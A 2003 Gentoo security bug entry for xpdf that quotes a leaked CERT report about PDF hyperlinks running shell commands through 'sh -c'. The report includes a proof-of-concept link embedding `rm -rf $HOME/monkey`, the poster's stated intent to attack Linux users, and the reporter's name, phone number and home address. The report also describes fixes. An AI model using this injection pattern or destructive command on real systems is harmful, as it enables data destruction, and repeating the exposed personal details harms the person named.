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Bug 23089 - app-text/xpdf
Summary: app-text/xpdf
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Linux
Classification: Unclassified
Component: New packages (show other bugs)
Hardware: All Linux
: Highest critical (vote)
Assignee: Gentoo Security
URL:
Whiteboard:
Keywords:
: 23046 (view as bug list)
Depends on:
Blocks:
 
Reported: 2003-06-19 02:32 UTC by Daniel Ahlberg (RETIRED)
Modified: 2003-06-25 14:49 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


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Description Daniel Ahlberg (RETIRED) gentoo-dev 2003-06-19 02:32:39 UTC
[Full-Disclosure] -10Day CERT Advisory on PDF Files  
 
hack4life@hushmail.com hack4life@hushmail.com  
 Fri, 13 Jun 2003 14:24:50 -0700  
 
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--Hush_boundary-3eea41229a621 
Content-type: text/plain 
 
-----BEGIN PGP SIGNED MESSAGE----- 
Hash: SHA1 
 
 
Hi Hackers 
 
Ok, so I've been a bit quiet recently, what with college and exams. But 
the semesters nearly over now so I'll have plenty of time to keep you 
all up to date with what those fools at CERT are up to once college is 
finished. 
 
Anyway, on with the show, here we have a nice little hole allowing you 
to execute shell commands by embedding them in PDF files. Obviously no 
one's likely to be reading PDF's as root on a production server, but 
nice for rm'ing those ankle biting Linux lusers. You'll also some example 
code. There was also some example code for mapping untrusted URIs to 
a safer format, but I'm not releasing that, we're here to *HACK* boxes 
not to Patch them! 
 
You'll also notice that this takes the format of the form used to report 
holes to CERT rather than my usual draft advisory format. If you want 
to wait for the actual CERT advisory (probably with out details of how 
to exploit it) they will be releasing it on Monday 23rd June 2003, making 
my release -10 Day! 
 
Hack4Life 
 
 
 
#####NOT FOR PUBLIC DISTRIBUTION##### 
 
CONTACT INFORMATION 
Let us know who you are: 
Name: Martyn Gilmore 
E-mail: gilmore@floraxion.com 
Phone / fax: 513-374-1586 
Affiliation and address: 1068 Archland Drive, Cincinnati, OH 45224 
 
 
Have you reported this to the vendor?  [yes/no] no 
 
Please describe the vulnerability. 
 
Valid PDF files can contain malicious external-type hyperlinks that can 
execute arbitrary shell commands underneath Unix with various PDF viewers/readers. 
The hyperlinks must be activated or followed for the malicious script 
to run.  The obvious case is for a user to click on one. 
 
The PDF viewers/readers, which are known to be vulnerable 
at this time, appear to spawn (exec) the associated 
external program handlers with "sh -c". 
 
"sh -c <registered-program> <embedded-hyperlink>" 
 
 
What is the impact of this vulnerability? 
- - - ---------------------------------------- 
(For example: local user can gain root/privileged access, intruders can 
create root-owned files, denial of service attack,  etc.) 
a)      What is the specific impact: 
 
Under probable conditions, arbitrary Unix shell commands can be executed 
with the PDF reader/viewer user's privileges when malicious hyperlinks 
are activated. 
b)      How would you envision it being used in an attack scenario: 
 
Many are possible (especially if the user has more privileges).  I don't 
know, if there are any real restrictions on the embedded shell script's 
length. 
To your knowledge is the vulnerability currently being exploited? 
- - - ---------------------------------------------------------------- 
[yes/no] no 
If there is an exploitation script available, please include it here. 
- - - ----------------------------------------------------------------- 
- --- 
Attachment evil.pdf contains the embedded command 
`rm -rf $HOME/monkey` 
 
Preconditions: 
1. User's home directory does NOT contain a file or directory 
named 'monkey' 
2. Run 'touch $HOME/monkey' 
3. Adobe Acrobat 5.06 on Redhat 8.0 only performs the "sh -c" type of 
action when there is no current running browser/email program (i.e. mozilla). 
Exploit: 
Open PDF file and click on gilmore@floraxion.com hyperlink 
Proof of exploit: 
Absence of $HOME/monkey 
With the help of pdflatex, the attachment evil.tex is the source document 
for evil.pdf.  Other "flexible" PDF authoring solutions probably would 
work too. 
Do you know what systems and/or configurations are vulnerable? 
- - - ------------------------------------------------------------- 
[yes/no]  (If yes, please list them below) 
System        :   PDF viewers/readers, which spawn external 
programs with "sh -c" to handle certain 
types of hyperlinks. 
OS version    :   Most Unix versions 
Verified/Guessed: Guessed (beyond what I report below) 
 
 
I've only verified the following programs on Redhat Linux 8.0. 
Xpdf                 1.01 
Adobe Acrobat Reader 5.06 
 
Xpdf executes the malicious embedded script, regardless of whether the 
handler is currently running or not. 
The Ghostview derivative on my machine, doesn't have hyperlinks enabled 
(ignores that aspect of the PDF file).  Others readers maybe affected 
as well. 
Are you aware of any workarounds and/or fixes for this vulnerability? 
- - - ----------------------------------------------------------------- 
- --- 
[yes/no] (If you have a workaround or are aware of patches please include 
the information here.) 
I'm aware of no fixes in any PDF readers/viewers. 
Each program's implementation may differ (languages, dynamic memory libraries) 
to prevent a universal fix, however suggested guidelines are given below. 
 These guidelines are an attempt to offer a robust solution with a minimal 
effect on existing behavior. 
If the "sh -c" type of invocation is a necessary way to spawn external 
browser/email program(s), then the embedded hyperlink should be properly 
quoted/escaped. 
The "sh -c" type of invocation maybe desirable to allow, the configuration 
of the external programs to contain environmental variables. 
 
i.e. "sh -c $USER_BROWSER args" 
 
The easiest solution (IMHO) underneath these types of scenarios 
is to enclose the embedded hyperlink within single quotes (avoids 
escaping the entire Unix shell meta-character soup). 
 
In addition, any single quotes found within the original embedded 
hyperlink, should be replaced with '"'"' 
(i.e. "\'\"\'\"\'" for C/C++ programs).  Programs will have to 
deal correctly with possibilities of unknown-length string expansion 
or risk overwrites of the heap or stack; use of std::string or RWCString 
in C++ would simplify the design, if they are available. 
Testing will require conditions to trigger the "sh -c" type of invocation 
(i.e. browser/email program not running) for each PDF reader/viewer. 
1.) Hyperlinks with embedded shell exploits will not be executed. 
2.) Proper email addresses such as 
"Martyn%20Gilmore<gilmore@floraxion.com>" and 
"gilmore@floraxion.com(Martyn%20Gilmore)" should now 
work as "mailto:" targets.  These legitimate uses 
are how the exploit was discovered, since some Unix 
shell meta-characters are present and prevent positive functionality 
from occurring. 
 
Caveats/Notes: 
The solution above is a result of correcting the direct actions of the 
PDF viewer/reader against misuse. 
The user configurable spawned programs are trusted to not eval their 
arguments further, otherwise the original exploit returns. 
The potential security breach of additional evals is the onus of the 
configured handler or the end-user (not having a secured environment 
or not having an responsible entrusted handler). 
Clarification of initial report: 
Besides the potential for explicit "sh -c" in an exec*() Unix system 
calls, the C StdLib system() call performs one implicitly.  Better Proposed 
Fix: I think that my first proposed fixed was too naive.?  Mozilla 1.3 
has a shell wrapper that calls eval.? Other configured browers/handlers 
could have the same problem or could easily introduce one, even if unintentional 
(check-in of a developer copy). 
Granted the programs I originally cited as guilty parties execute the 
malicious code first, however they are only the first in a potential 
chain. 
Rather than trying to correct the whole round trip (more programs), it 
is more feasible for PDF viewer/reader party to make sure their "Untrusted 
URIs" don't have immediate or long-term potential for problems.? The 
effort is about the same as the original suggestion. 
I've attached a small example C++ program that maps untrusted URIs to 
a safer format, which is a far better alternative to the Unix-based quoting 
that only lasts one round and has potential to pass the buck. 
 
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--Hush_boundary-3eea41229a621 
Content-type: application/octet-stream; name="evil.tex.uu" 
Content-Transfer-Encoding: base64 
Content-Disposition: attachment; filename="evil.tex.uu" 
 
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Comment 1 Hanno Böck gentoo-dev 2003-06-22 15:24:24 UTC
*** Bug 23046 has been marked as a duplicate of this bug. ***
Comment 2 Daniel Ahlberg (RETIRED) gentoo-dev 2003-06-25 14:49:49 UTC
glsa sent